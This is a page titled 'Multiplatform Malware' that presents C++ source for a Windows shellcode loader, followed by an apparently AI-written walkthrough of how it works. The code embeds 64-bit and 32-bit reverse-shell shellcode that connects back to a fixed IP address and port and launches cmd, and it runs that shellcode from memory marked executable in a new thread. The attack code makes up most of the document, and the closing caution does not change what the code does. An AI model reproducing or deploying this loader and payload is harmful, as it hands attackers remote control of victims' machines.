Multiplatform Malware

```
C++ Code
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <iostream>

using namespace std;

int Is64BitWindows(){
    #if defined(_WIN64)
        return 0;
    #elif defined(_WIN32)
        return 1
    #else
        return 2;
    #endif
}

unsigned char payload64[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\xf5\xde"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";

unsigned char payload32[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32"
"\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff"
"\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b"
"\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
"\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\xf5\xde\x68\x02"
"\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5"
"\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57"
"\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01"
"\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5";


unsigned int my_payload_len64 = sizeof(payload64);
unsigned int my_payload_len32 = sizeof(payload32);


int main(void) {
  int arq = Is64BitWindows();
  void * my_payload_mem; // memory payload64fer for payload
  BOOL rv;
  HANDLE th;
  DWORD oldprotect = 0;

  if(arq == 0){
    cout<<"Sending Shell 64 bits";
    getchar();
    my_payload_mem = VirtualAlloc(0, my_payload_len64, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(my_payload_mem, payload64, my_payload_len64);
    rv = VirtualProtect(my_payload_mem, my_payload_len64, PAGE_EXECUTE_READ, &oldprotect);
    if ( rv != 0 ) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
  }
  else if(arq == 1){
    cout<<"Sending Shell 32 bits";
    getchar();
    my_payload_mem = VirtualAlloc(0, my_payload_len32, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(my_payload_mem, payload32, my_payload_len32);
    rv = VirtualProtect(my_payload_mem, my_payload_len32, PAGE_EXECUTE_READ, &oldprotect);
    if ( rv != 0 ) {
        th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
        WaitForSingleObject(th, -1);
    }
  }
  getchar();
  return 0;
}
```

This C++ code appears to be a Windows-based program that is capable of executing a shellcode payload. The code is designed to work on both 32-bit and 64-bit Windows systems, determining the architecture at runtime. Here's a breakdown of how it works:

1. **Is64BitWindows() Function**:
   - This function is used to determine whether the current operating system is 64-bit or 32-bit. It checks for specific predefined macros (`_WIN64` and `_WIN32`) to make this determination.
   - It returns 0 for 64-bit Windows, 1 for 32-bit Windows, and 2 if it cannot determine the architecture.
2. **Shellcode Payload**:
   - The code includes two shellcode payloads, `payload64` and `payload32`. These payloads are represented as hexadecimal byte sequences.
3. **Main Function**:
   - The `main` function is where the program starts its execution.
4. **Determining the Target Architecture**:
   - It calls the `Is64BitWindows` function to determine the architecture of the target system.
5. **Payload Execution**:
   - Depending on the detected architecture:
     - If the system is 64-bit (`arq == 0`), it allocates memory using `VirtualAlloc`, copies the 64-bit shellcode (`payload64`) into that memory, sets the memory protection to allow execution using `VirtualProtect`, and creates a new thread to execute the shellcode.
     - If the system is 32-bit (`arq == 1`), it performs similar operations but with the 32-bit shellcode (`payload32`).
6. **Wait for Thread to Finish**:
   - After creating the thread to execute the shellcode, the program uses `WaitForSingleObject` to wait indefinitely until the thread finishes executing the shellcode.
7. **User Interaction**:
   - Before executing the shellcode, the program waits for user input using `getchar()`. This allows the user to initiate the payload execution.
8. **Cleanup and Exit**:
   - After the shellcode execution is complete, the program waits for another `getchar()` before returning, effectively keeping the console window open.

Please note that the code's primary purpose seems to be for educational or demonstration purposes. The shellcode payloads are executed in memory and can have potentially harmful effects if used maliciously. It's essential to use such code responsibly and only in controlled environments or with proper authorization. Unauthorized use may violate legal and ethical standards.